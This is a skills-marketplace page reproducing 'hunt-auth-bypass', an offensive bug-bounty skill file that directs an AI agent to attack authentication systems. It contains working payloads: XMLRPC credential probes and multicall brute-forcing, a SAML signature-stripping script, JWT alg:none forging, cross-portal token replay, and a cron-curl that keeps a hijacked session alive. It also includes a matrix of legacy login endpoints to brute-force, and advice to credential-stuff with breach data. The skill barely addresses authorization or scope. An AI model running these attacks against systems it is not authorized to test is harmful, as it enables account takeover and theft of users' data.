Agent skill

Hunt Auth Bypass

by elementalsouls in elementalsouls/Claude-BugHunter

Hunting skill for auth bypass vulnerabilities. An agent skill from elementalsouls/Claude-BugHunter.

MITAuto-check passedSecurity

Install Hunt Auth Bypass

skills CLI
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-auth-bypass -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install elementalsouls/Claude-BugHunter hunt-auth-bypass --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/hunt-auth-bypass .claude/skills/hunt-auth-bypass && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
hunt-auth-bypass
GitHub stars
4.8k
Token cost
~8.2k tokens
SKILL.md length
3,296 words
Files
1
Skills in repo
19
Repo updated
First seen
Licence
MIT

At a glance

Hunting skill for auth bypass vulnerabilities. An agent skill from elementalsouls/Claude-BugHunter.

  • Works in 8 steps: Map all authentication entry points → Identify the auth mechanism per entry… → Test XMLRPC independently of SSO → …
  • Hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns
  • SKILL.md covers Crown Jewel Targets, Attack Surface Signals, Step-by-Step Hunting Methodology and Legacy-Protocol Matrix (Probe…, plus 9 more sections
  • Calls curl

What it does

Hunt Auth Bypass is an agent skill from elementalsouls/Claude-BugHunter. Hunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion…

Its SKILL.md is about 8.2k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.

It sits in Security, covering Authentication, Bug bounty and Vulnerability scanning. It works with WordPress, Slack, Argo CD and GitHub. The repository describes itself as: A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes… The licence is MIT.

When your agent uses it

  • Hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns
  • Tasks that involve Authentication
  • Tasks that involve Bug bounty

Example prompts

  • “/hunt-auth-bypass”

Requirements

  • Python 3

Workflow steps

8 steps, taken from the first numbered list in SKILL.md.

  1. Map all authentication entry points
  2. Identify the auth mechanism per entry point
  3. Test XMLRPC independently of SSO
  4. Enumerate SAML implementation
  5. Test cross-portal session/token reuse
  6. Fuzz auth parameters
  7. Check redirect and state parameters
  8. Verify impact by escalating privileges

What it can do on your machine

Read from SKILL.md and the folder at commit ec51cd4. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Shell commands in SKILL.md call:

    • curl

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Links to these hosts (documentation or services it may open):

    • hackerone.com
    • docs.duendesoftware.com
    • github.blog
    • projectdiscovery.io
    • blog.intothesymmetry.com
    • github.com
    • nestenius.se
    • sjoerdlangkemper.nl

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Hunt Auth Bypass loads about 8.2k tokens when it runs. Until then it costs about 255 tokens; SKILL.md has 3,296 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~255
When it runs · the whole SKILL.md, loaded when a task matches
~8.2k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from elementalsouls/Claude-BugHunter at commit ec51cd4, republished under its MIT licence (© elementalsouls). 3,296 words, ~8,165 tokens.

Download SKILL.mdSave it as .claude/skills/hunt-auth-bypass/SKILL.md (or your agent's skills folder).
name
hunt-auth-bypass
description
Hunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion (Argo CD CVE-2023-22482). For standalone JWT signature/crypto forging (alg:none, key confusion, kid/jku) see hunt-jwt-crypto; this skill covers JWT only inside SSO/SAML/token-trust bypass chains. SAML assertion-layer attacks (XSW, comment injection, signature stripping, XXE-in-assertion) are owned by hunt-saml; this skill owns the broader cross-protocol auth-bypass taxonomy. Use when hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns.
sources
github, hackerone_public, github_security_lab, projectdiscovery_research
report_count
12

Crown Jewel Targets

Auth bypass is consistently one of the highest-paying vulnerability classes in bug bounty because it directly violates the most fundamental security control. High-value targets include:

  • SSO/SAML implementations at enterprise SaaS companies (Slack, Okta, OneLogin integrations) — payouts regularly in the $5K–$25K+ range
  • Admin panels and partner/internal portals — subdomain-separated admin surfaces like partners.shopify.com, admin.company.com
  • Third-party auth plugin integrations — WordPress plugins (OneLogin, WP-SAML-Auth), Drupal SSO modules, any CMS with pluggable auth
  • XMLRPC endpoints on WordPress — often forgotten, bypasses standard WP auth flows entirely
  • OAuth callback flows — state parameter mishandling, redirect_uri mismatches
  • API authentication layers — especially where auth was bolted on after the fact

Asset priority: Targets with federated identity (SAML, OAuth, OIDC) connected to large user populations. Partner/reseller portals are particularly juicy because they often have elevated permissions and less security scrutiny than the main product.


SSH certificate-authority trust forgery (Git-hosting / enterprise platforms)

When an org or instance registers an SSH certificate authority, cert principals may not be bound server-side to the requesting identity — a member can mint a cert asserting another user's principal and authenticate as them (e.g. modify another user's resource given only its URL). Add SSH-CA trust to the auth-surface list on Git-hosting targets; niche/platform-specific. Disclosed: reports/1901040.

Attack Surface Signals

URL patterns to hunt:

/xmlrpc.php
/wp-login.php
/saml/
/sso/
/auth/saml/callback
/oauth/callback
/partners.*
/admin.*
/?wc-api=
/api/v*/auth
/login?redirect=
/accounts/login

Response headers signaling SSO:

X-Frame-Options: SAMEORIGIN (common on SSO portals)
Set-Cookie: SAMLResponse=
Location: https://idp.company.com/saml
WWW-Authenticate: Bearer realm="partners"

JS patterns indicating federated auth:

javascript
// Look for in page source
samlRequest
RelayState
SAMLResponse
onelogin
shibboleth
okta
passport.js authenticate

Tech stack signals:

  • WordPress + any SSO plugin → check XMLRPC separately
  • Shopify Partner API exposure → cross-tenant privilege escalation risk
  • Any app advertising "SSO enabled" or "Login with [Enterprise IdP]"
  • Separate subdomains for admin/partner that share session cookies with main domain
  • Applications using SimpleSAMLphp, ruby-saml, python-saml

Burp passive scan triggers:

  • SAMLResponse in any POST body
  • openid_connect or id_token in responses
  • Cookie domains set to .company.com (wildcard)

Step-by-Step Hunting Methodology

  1. Map all authentication entry points

    • spider the target for every login surface: main login, admin login, API login, partner portal, mobile API endpoints
    • check robots.txt, JS files, and the wayback machine for forgotten endpoints like /xmlrpc.php
  2. Identify the auth mechanism per entry point

    • Is it forms-based, SAML, OAuth, API key, session token?
    • For WordPress: always probe /xmlrpc.php even if the main login is SSO-protected
  3. Test XMLRPC independently of SSO

    • If site uses SSO (e.g., OneLogin), manually POST to /xmlrpc.php
    • XMLRPC uses WordPress-native credentials, not SSO — test with system.listMethods first, then wp.getUsersBlogs
  4. Enumerate SAML implementation

    • Capture a valid SAMLResponse via Burp
    • Decode the Base64 payload, inspect the XML
    • Test signature stripping, comment injection, and XML wrapping attacks
    • Test if SP validates the signature at all (send unsigned assertion)
  5. Test cross-portal session/token reuse

    • Log into partners.shopify.com type portals
    • Attempt to use the issued token/cookie against the main admin portal
    • Look for shared cookie domains, shared JWT secrets, or API tokens that work across contexts
  6. Fuzz auth parameters

    • Null/empty passwords, password[]=array, SQL in username field
    • Try admin/admin, test/test on staging subdomains
    • Modify role, is_admin, user_type in JWTs (none algorithm, weak secret)
  7. Check redirect and state parameters

    • Does removing state from OAuth break anything?
    • Can you change redirect_uri to an open redirect target?
    • Does the RelayState in SAML get validated?
  8. Verify impact by escalating privileges

    • Don't stop at login — prove you can access admin functions, other users' data, or sensitive configuration
    • Screenshot the highest-privilege action you can perform

Legacy-Protocol Matrix (Probe These First on Any Custom-Branded Login)

When a target has a custom, branded login UI (e.g. customlogin.aspx, /auth/signin, /account/login), always probe the platform's legacy protocol endpoints with native credentials in parallel. These endpoints frequently outlive the custom UI's protections and accept native credentials with NO rate limit, NO MFA challenge, NO CAPTCHA, NO anti-automation. This is the WordPress XMLRPC pattern generalised across CMS / portal / framework stacks.

Target techLegacy endpoint(s) to probeNative-cred bypass surface
WordPress/xmlrpc.php (system.listMethods, wp.getUsersBlogs, system.multicall)Native WP user/pass; bypasses SSO, MFA, IP-allow rules on /wp-login.php
WordPress (REST)/?rest_route=/wp/v2/users, /wp-json/wp/v2/usersUser enumeration anonymously even when login page is hardened
SharePoint (any version)/_vti_bin/Authentication.asmx (Mode + Login SOAP ops)Native Forms-auth credential; FedAuth cookie returned; no rate limit on this endpoint observed on SP2013 farms — this is the canonical SP equivalent of the WP XMLRPC bypass
SharePoint legacy/_vti_bin/_vti_aut/author.dll, /_vti_bin/_vti_adm/admin.dll, /_vti_bin/owssvr.dllFrontPage RPC; sometimes still wired to credential validators
SharePoint REST/_api/contextinfo (POST), /_api/$metadataAnonymous FormDigest issuance; full API surface enumeration
Atlassian (Jira / Confluence)/rest/auth/1/session (basic-auth), /rest/api/2/myself, legacy /rest/api/1.0/Native credentials accepted on /rest/auth/1/session even when Atlassian Crowd / Atlassian Access SSO is enforced on the UI
Drupal/jsonapi/, /user/login?_format=jsonJSON POST endpoint that accepts native passwords; separate from SSO middleware
Drupal (D7 legacy)/?q=user/login, /services/, /rest/Older REST modules with independent auth
Joomla/administrator/index.php?option=com_login, /api/index.php/v1/usersNative Joomla credentials accepted on admin entry independent of any front-site SSO
Exchange / OWA/EWS/Exchange.asmx, /Autodiscover/Autodiscover.xml, /Microsoft-Server-ActiveSyncNTLM / Basic; bypasses OWA UI restrictions (MFA, IP-allow). The classic CVE-2020-0688 / CVE-2021-26855 surface
Citrix NetScaler/vpn/index.html, /cgi/login, /nf/auth/doAuthentication.doNative AD credentials; independent of MFA wrappers
F5 BIG-IP/mgmt/tm/util/bash, /tmui/login.jspNative admin credentials
Generic ASP.NET app*.asmx?WSDL, *.svc?WSDL, trace.axd, elmah.axd, .discoFind every web service; many take credentials independently of the WebForms login
Spring Boot/actuator/*, /management/*, /api/v1/auth/login, /api/v1/swagger-uiActuator endpoints sometimes anonymously enumerable
Jenkins/jnlpJars/jenkins-cli.jar, /script, /manage, /computer/(master)/scriptAPI tokens + native auth
GitLab/api/v3/* (deprecated but still on old installs), /api/v4/users, /api/v4/projectsPersonal Access Tokens with looser scoping than UI session
TeamCity/app/rest/users, /login.html?username=&password= (GET-form-login)Native admin credentials
Apache Tomcat/manager/html, /host-manager/html, /manager/text/listNative Tomcat realm credentials independent of any front auth
WebLogic/console/login/LoginForm.jsp, /wls-wsat/*Native admin
Oracle EBS / PeopleSoft/OA_HTML/AppsLogin, /psp/*/?cmd=loginNative ERP credentials

How to use:

  1. Identify the tech stack from headers + paths (use hunt-misc Attack Surface Signals).
  2. Find the row above that matches.
  3. Probe the legacy endpoint anonymously to confirm it's reachable and not 403/404.
  4. Test with synthetic credentials to confirm it accepts native credential format and returns differential responses (success vs failure).
  5. Verify there is no rate limit, no lockout, no CAPTCHA — burst 10 requests at the same user, confirm uniform timing.
  6. Report as Critical / High depending on chain to ATO: an anonymous + unlimited credential brute-force endpoint is consistently Critical on bug-bounty programs.

Lesson from a authorized engagement: A an enterprise dealer portal on SharePoint 2013 had a custom branded customlogin.aspx. The hunt-auth-bypass skill was loaded but the matrix above did not exist in this document — and the WordPress XMLRPC pattern was not connected to the SharePoint equivalent. /_vti_bin/Authentication.asmx was reachable anonymously, accepted unlimited credential attempts with no rate limit and no lockout, and was the highest-impact finding in the engagement. Walking this matrix on the first pass would have surfaced it immediately.


Payload & Detection Patterns

XMLRPC auth probe (bypasses SSO):

bash
curl -s -X POST https://target.com/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params></params>
</methodCall>'

# If 200 with method list → XMLRPC is enabled, test auth:
curl -s -X POST https://target.com/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
    <param><value><string>admin</string></value></param>
    <param><value><string>password</string></value></param>
  </params>
</methodCall>'

SAML signature stripping (send unsigned assertion):

python
import base64, re

# Decode captured SAMLResponse
saml_b64 = "BASE64_FROM_BURP"
saml_xml = base64.b64decode(saml_b64).decode()

# Strip the Signature element entirely
stripped = re.sub(r'<ds:Signature.*?</ds:Signature>', '', saml_xml, flags=re.DOTALL)

# Re-encode and submit
print(base64.b64encode(stripped.encode()).decode())

SAML XML comment injection (username confusion):

xml
<!-- Original NameID -->
<NameID>attacker@evil.com</NameID>

<!-- Injected to confuse parser -->
<NameID>attacker@evil.com<!---->.victim@company.com</NameID>

<!-- Or namespace confusion -->
<NameID xmlns:evil="http://evil.com">victim@company.com</NameID>

Partner/cross-portal token reuse test:

bash
# Get token from partner portal
TOKEN=$(curl -s -X POST https://partners.target.com/login \
  -d 'email=attacker@test.com&password=pass' \
  -c cookies.txt | grep -o 'token=[^;]*')

# Replay against admin portal
curl -s https://admin.target.com/dashboard \
  -H "Authorization: Bearer $TOKEN" \
  -H "Cookie: $TOKEN"

JWT none algorithm attack:

python
import base64, json

header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"user_id":1,"role":"admin","email":"victim@company.com"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."
print(token)

Grep patterns for auth bypass surface:

bash
# Find XMLRPC in scope
grep -r "xmlrpc" scope_urls.txt

# Find SSO indicators in JS
grep -rE "(SAMLResponse|samlRequest|RelayState|onelogin|shibboleth)" *.js

# Find partner/admin subdomains
subfinder -d target.com | grep -E "(admin|partner|internal|sso|auth|login)"

Common Root Causes

  1. SSO bypasses local auth entirely at the UI layer, but not at the API layer — developers disable the login form but forget that API endpoints (/xmlrpc.php, REST API, mobile API) have their own auth handlers that still accept native credentials.

  2. SAML signature validation is skipped or optional — library defaults often don't enforce signature checking; developers use wantAssertionsSigned: false or fail to configure the IdP certificate correctly.

  3. Shared session infrastructure across different trust levels — partner portals and admin portals reuse the same session cookie or JWT secret because they're built on the same internal framework, assuming access control at the application layer is sufficient.

  4. Trust inheritance in multi-tenant architectures — a token issued in a lower-privilege context (partner, reseller) is accepted in a higher-privilege context because the verification only checks signature validity, not the issuance context.

  5. Plugin/module auth is independent of application auth — every WordPress plugin that handles auth (contact forms, REST API extensions, WooCommerce) may implement its own auth handler inconsistently with the main site's SSO.

  6. XML parsing inconsistencies — different XML parsers (used by SP vs. IdP) handle comments, namespaces, and whitespace differently, enabling confusion attacks where the signed content differs from the evaluated content.


Bypass Techniques

DefenseBypass
SSO enforced on login pageProbe alternate entry points: XMLRPC, REST API, mobile API, legacy endpoints
SAML signature validationXML comment injection, namespace wrapping, signature wrapping (XSW), remove signature entirely
IP allowlisting on admin portalUse partner portal token if it shares auth backend
Rate limiting on loginXMLRPC allows credential stuffing via system.multicall — batches hundreds of auth attempts in one request
CSRF token on login formSAML flow is POST-based cross-origin by design; no CSRF token needed on /saml/callback
JWT signature validationalg: none, key confusion (RS256 → HS256 with public key as secret), brute-force weak secrets
Separate session stores per portalCheck if cookie domain is .target.com (wildcard) — cookie bleeds between subdomains
MFA on primary loginIf SAML SP doesn't enforce MFA at the assertion level and accepts pre-auth assertions, MFA can be skipped

XMLRPC multicall for mass auth bypass:

xml
<methodCall>
  <methodName>system.multicall</methodName>
  <params><param><value><array><data>
    <value><struct>
      <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
      <member><name>params</name><value><array><data>
        <value><string>admin</string></value>
        <value><string>password1</string></value>
      </data></array></value></member>
    </struct></value>
    <!-- repeat for each credential pair -->
  </data></array></value></param></params>
</methodCall>

Gate 0 Validation

Before writing any report, answer these three questions:

  1. What can the attacker DO right now? Must be: authenticate as another user OR authenticate without valid credentials OR elevate to admin/privileged role. "Partial information disclosure" is not auth bypass.

  2. What does the victim LOSE? Must identify a concrete asset: account takeover of specific user, access to all admin functions, ability to read/modify other tenants' data, or access to privileged APIs. Abstract "security control bypass" without impact is not sufficient.

  3. Can it be reproduced in 10 minutes from scratch? You must be able to: (a) start from a fresh browser/session, (b) follow your exact steps, and (c) arrive at authenticated access to a protected resource. If reproduction requires special preconditions you can't re-create (a specific victim's active session, timing windows), the report needs more work.


Real Impact Examples

Scenario 1 — SSO Enforcement Bypassed via Forgotten Protocol Endpoint A large ride-sharing company enforced SSO (via OneLogin) on all WordPress-based internal/public properties. The XMLRPC endpoint (/xmlrpc.php) remained active and accepted WordPress-native credentials entirely independent of the SSO flow. An attacker with any valid WP-native credentials (obtained via credential stuffing or from a previous breach) could authenticate directly through XMLRPC, bypassing MFA, SSO policies, and IP restrictions enforced on the main login form. Impact: Full authenticated access to all WordPress functions available to that user role, including content management and potentially admin functions.

Scenario 2 — SAML Assertion Forgery via Signature Validation Failure A major enterprise communication platform's SAML SP implementation failed to properly validate assertion signatures in specific edge cases. By manipulating the XML structure of a captured SAMLResponse (specifically through comment injection or namespace prefix attacks), an attacker could modify the NameID value to impersonate any user in an organization — including workspace administrators — without possessing that user's credentials or private key material. Impact: Complete account takeover of any user within a SAML-enabled organization; attacker gains access to all messages, files, and integrations in the workspace.

Scenario 3 — Cross-Portal Privilege Escalation via Shared Auth Backend An e-commerce platform's partner/reseller portal issued authentication tokens that were validated by the same backend service as the merchant admin portal. A partner-level account (lower trust, external-facing) could use its issued credentials or tokens to authenticate directly against admin-tier API endpoints, bypassing the merchant onboarding and permission assignment flow. Impact: A malicious partner could access any merchant's admin panel, modify store configurations, exfiltrate customer PII and payment data, or install malicious scripts — affecting thousands of merchant storefronts.


Show full SKILL.md (1,426 more words)Show less

Disclosed Report Citations (Backfill +8 — 2016-2025)

The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans 4 SAML subclasses, 4 JWT subclasses, 1 legacy-protocol (XMLRPC), and 2 partner-portal cross-domain reuse patterns.

  1. GitHub Enterprise Server — SAML XSW via parser differential (CVE-2025-25291/25292) (H1 #2579939 · Blog)

    • Subclass: SAML signature stripping / XSW (parser-differential variant)
    • Payload: signed SAML response; inject a sibling <Assertion> so REXML (signature-checker) and Nokogiri (business-logic reader) resolve different nodes via the same XPath. Signature validates against benign node; SP consumes attacker-controlled <NameID>admin@target</NameID>
    • Root cause: two XML parsers used for verification vs consumption return different elements for the same XPath
    • Year: 2025 — GitHub Security Lab bounty (program max class, internally rated Critical)
  2. GitHub Enterprise — SAML signature bypass on encrypted assertions (CVE-2024-4985) (H1 #2475347 · ProjectDiscovery advisory)

    • Subclass: SAML signature stripping (XSW family) when encrypted-assertions feature enabled
    • Payload: forge SAML response with attacker-controlled assertion; exploit improper signature verification on the encrypted-assertion code branch; provision arbitrary user including site_admin
    • Root cause: improper cryptographic signature verification on the encrypted-assertion code branch
    • Year: 2024 — bounty undisclosed, CVSS 10.0
  3. Uber — SAML auth bypass on uchat.uberinternal.com (H1 #223014)

    • Subclass: SAML signature stripping / improper assertion verification (OneLogin SP-side)
    • Payload: replay/modify SAML assertion with forged NameID; SP did not strictly validate signature scope, so attacker-controlled assertion accepted, granting OneLogin SSO session to internal chat
    • Root cause: improper SAML signature verification on SP implementation
    • Year: 2017 — $8,500
  4. Uber — OneLogin SSO bypass via WordPress XMLRPC (H1 #138869)

    • Subclass: WordPress XMLRPC bypassing SSO (legacy-auth path not gated) — canonical Legacy-Protocol Matrix case
    • Payload: OneLogin plugin auto-created WP users with literal password @@@nopass@@@. SSO plugin blocked wp-login.php only. POST xmlrpc.php with wp.getUsersBlogs + known shared password → authenticated as any previously-SSO'd user
    • Root cause: SSO enforcement applied at one auth surface (wp-login) but legacy XML-RPC path retained password auth with a guessable shared password
    • Year: 2016 — $7,000
  5. Slack — SAML "confused-deputy" assertion reuse (Writeup)

    • Subclass: partner-portal / cross-IdP assertion reuse (audience-restriction not validated)
    • Payload: take an old expired GitHub-signed SAML assertion (different audience, different subject) → present to Slack ACS → Slack logs attacker in as the asserted username
    • Root cause: no audience-restriction nor freshness check; trust extended across IdPs
    • Year: 2017 — $3,000
  6. HackerOne — SAML signup domain enforcement bypass via control characters (H1 #2101076)

    • Subclass: partner-portal / SAML domain-binding bypass via unicode control characters
    • Payload: new user sign-up at SAML-enforced org; append trailing control character (e.g., \r, ) to email → domain comparison normalises away, signup proceeds → unauthorised access to the org
    • Root cause: inconsistent unicode/control-char normalisation between domain check and identity write
    • Year: 2024 — bounty awarded (amount undisclosed)
  7. 8x8 / Jitsi-Meet — JWT alg-confusion (asymmetric verifier accepts symmetric alg) (H1 #1210502)

    • Subclass: JWT alg-confusion (RS256 → HS256 using public key as HMAC secret)
    • Payload: server publishes RS256 verification public key. Send a token with header {"alg":"HS256"} signed with that public key as the HMAC secret → Prosody module validates and admits attacker into authenticated/moderator room
    • Root cause: verifier did not enforce alg=RS256; allowed symmetric algorithm using the public key as shared secret
    • Year: 2021 — bounty undisclosed
  8. Argo CD (Internet Bug Bounty) — JWT audience claim not validated (CVE-2023-22482) (H1 #1889161)

    • Subclass: token-scope / audience check at issuance not at use (cross-audience token confusion)
    • Payload: obtain any RS256-signed token signed by the cluster's OIDC issuer but minted for a different aud (e.g., kubernetes) → present it as bearer to Argo CD API → API treats it as valid because it accepted the issuer's signature and skipped aud enforcement
    • Root cause: aud claim not enforced; signature-trust extended across audiences
    • Year: 2023 — $2,400 via IBB

Duende BFF — Token-Confusion & Session-Fixation (2024-2026 surface)

Duende BFF deployments expose two distinct auth-bypass families beyond the CSRF angle covered in hunt-csrf. Both are documented architectural realities, not unicorn CVEs.

Attack class 1 — YARP UserOrClient / UserOrNone privilege escalation

Duende.BFF.Yarp attaches access tokens to proxied routes via WithAccessToken(TokenType.X) metadata. The misconfig pattern: developer marks a route UserOrClient (use user token if logged in, else fall back to client-credentials token) intending it for a "public catalog" endpoint. The client-credentials (M2M) token frequently has broader scope (api.admin, internal.read) than any user token. An unauthenticated attacker hitting that route gets the request proxied with the service-account token attached to the downstream API — privilege escalation by design when the downstream trusts the bearer.

Payload shape: identify a BFF route marked TokenType.UserOrClient (visible via 401-vs-200 differential when no session, or via leaked OpenAPI/NSwag spec). Hit it with no cookies → BFF forwards with M2M token granting admin-scope downstream. (docs.duendesoftware.com/bff/fundamentals/apis/yarp)

Adjacent confirmed CVE: CVE-2024-51987 in Duende.AccessTokenManagement.OpenIdConnect — "HTTP client uses incorrect token after refresh" — materially the same family of token-confusion at the proxy layer. Moderate severity, fixed 2024. (GHSA-...51987)

When BFF session cookie has Domain=.example.com (devs do this to share login across app. and admin.), the __Host- prefix protection is dropped. Any sibling subdomain — including a taken-over one (legacy.example.com CNAMEd to deprovisioned Heroku/S3) — can write Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com. Victim hits app.example.com carrying the attacker's session = session-fixation ATO.

If SlidingExpiration=true (default) and ExpireTimeSpan is large (e.g. 8h), an exfiltrated cookie remains valid and keeps sliding forward as long as the attacker periodically calls /bff/user. There is no server-side refresh-token rotation check on the cookie itself — only the OIDC token (server-side) rotates. Persistent ATO window per stolen cookie.

Payload shape: subdomain takeover → write the BFF session cookie with Domain=.example.com → victim's next visit to app.example.com adopts attacker's session. Cron-curl GET /bff/user -H 'X-CSRF: 1' -b '.AspNetCore.Cookies=...' every 6h indefinitely to keep the session alive.

Hardening reference: docs.duendesoftware.com/bff/fundamentals/session/handlers, nestenius.se BFF cookie guide, Langkemper on __Host- prefix.

Attack class 3 — /bff/user claim disclosure

GET /bff/user returns the full claim set of the active session as a JSON array — sub, sid, email, bff:session_expires_in, bff:session_state, bff:logout_url, plus every custom claim the OP issued (department, role, internal employee ID, tenant ID). The endpoint is gated only by session cookie + X-CSRF: 1. If AnonymousSessionResponse=Response200 is set, the endpoint also acts as a session probe (200 + claims vs 200 + null) usable as an auth-state oracle. Low/Medium info-disclosure on its own; valuable as recon for the YARP token-confusion class above. (docs.duendesoftware.com/bff/fundamentals/session/management/user)

Evidence strength + reporting tip

No Duende.BFF-direct CVE exists. The three classes are exploitable via real-world misconfigurations; CVE-2024-51987 and CVE-2025-26620 in the adjacent Duende.AccessTokenManagement packages make token-confusion a confirmed family. Report by chain impact (e.g., "low-priv session reaches admin-scope downstream API via UserOrClient route" → Critical) rather than by CVE citation, since the issue is design-level.

Cross-references for the chain:

  • hunt-csrf — the role-partitioned antiforgery class (the CSRF angle on the same BFF surface).
  • hunt-subdomain-takeover / hunt-subdomain — required primitive for the cookie-domain attack.

Function-Level Access Control (Broken Authorization)

Authentication bypass gets you in; function-level access control failures let an already-authenticated low-privilege user reach privileged functions the UI never offered them. This is the authorization sibling of hunt-idor (object-level access) — test both whenever you hold any authenticated session.

The sibling-function rule: if 9 endpoints under a path enforce auth/role middleware, the 10th that doesn't is your bug. Admin route families are the highest-yield place to look:

/api/admin/users   → has auth middleware
/api/admin/export  → often MISSING it
/api/admin/delete  → often MISSING it
/api/admin/reset   → often MISSING it

Anti-patterns to grep for:

javascript
// Missing middleware on a sibling route
router.get('/admin/users',  authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport);            // No middleware!

// Client-side role check only — server never re-checks
if (user.role === 'admin') showAdminButton();      // frontend gate
app.post('/api/admin/delete', deleteUser);         // no server-side check

How to hunt: enumerate every privileged endpoint (admin/export/delete/reset/impersonate, GraphQL admin queries), then replay each from a regular authenticated session — and again with no session. A 200 (or a differential vs the 403 its siblings return) is broken function-level access control.

Real paid example — HackerOne TrustHub: POST /graphql with the TrustHubQuery operation had no authorization check — a regular user could read all vendors' data (CVSS 8.7, High). The object-level variant (e.g. a WebSocket get_history accepting an arbitrary UUID with no ownership check) belongs to hunt-idor.


  • hunt-idor — Auth bypass without object-level access is half a finding; pair them. Chain primitive: legacy /v1/users/{id} route missing both auth middleware AND ownership check = unauthenticated cross-tenant data read via direct ID substitution → full PII dump from "I am nobody" starting position.
  • hunt-ato — Auth-bypass primitives feed the ATO funnel. Chain primitive: XMLRPC native-cred acceptance + no rate limit on wp.getUsersBlogs → credential-stuff with breach corpus from hunt-misc recon → system.multicall batches 1000 cred pairs per request → one valid pair = ATO bypassing the SSO + MFA the UI enforces.
  • hunt-sharepoint — The SP equivalent of the WordPress XMLRPC pattern lives here. Chain primitive: /_vti_bin/Authentication.asmx anonymous reachable + native Forms-auth credential accepted + zero rate limit = unlimited credential brute-force endpoint bypassing custom-branded customlogin.aspx protections → FedAuth cookie → full SharePoint farm access.
  • security-arsenal — Pull the JWT-attack payloads section (alg=none, kid path-traversal, JWK injection, RS256→HS256 key confusion) when JWT validation is the auth wall; pull the SAML signature-stripping section when the SP accepts unsigned assertions.
  • triage-validation — Run the Pre-Severity Gate before claiming Critical on an "auth bypass" that only enumerates usernames or only reveals a 401-vs-403 differential. Username enumeration alone without lockout-amplification is consistently N/A or Informational on H1.

© elementalsouls, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/hunt-auth-bypass of elementalsouls/Claude-BugHunter.

Open the folder on GitHubat commit ec51cd4

Compare with similar skills

Hunt Auth Bypass next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Hunt Auth Bypass compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Hunt Auth Bypass this skillelementalsouls/Claude-BugHunter4.8k—~8.2kAutomated safety check: PassMIT
Scanning For Hardcoded Secretsjeremylongshore/tons-of-skills-marketplace2.8k—~2.1kAutomated safety check: NotesMIT
Defending Applicationstelagod/code-abyss243—~777Automated safety check: PassMIT
Unauthenticated API Endpoint Reconuphiago/recon-skills1.3k—~2kAutomated safety check: PassMIT
Security SecretsIgorWarzocha/Opencode-Workflows122—~1.2kAutomated safety check: NotesNone
Pyspector Security AuditParzivalHack/PySpector151—~3.5kAutomated safety check: NotesApache-2.0

Similar skills

  • Scanning For Hardcoded Secrets

    jeremylongshore/tons-of-skills-marketplace

    Scan a source-code tree for hardcoded credentials embedded in source files: AWS access keys, GitHub tokens, Stripe keys, Slack tokens, Anthropic API keys, OpenAI keys, JWT signing secrets, generic…

    2.8k GitHub stars~2.1k tokensUpdated today
    DevOps & CloudAuto-check: notes
  • Defending Applications

    telagod/code-abyss

    Application security defense knowledge for builders. An agent skill from telagod/code-abyss.

    243 GitHub stars~777 tokensUpdated 2 mo ago
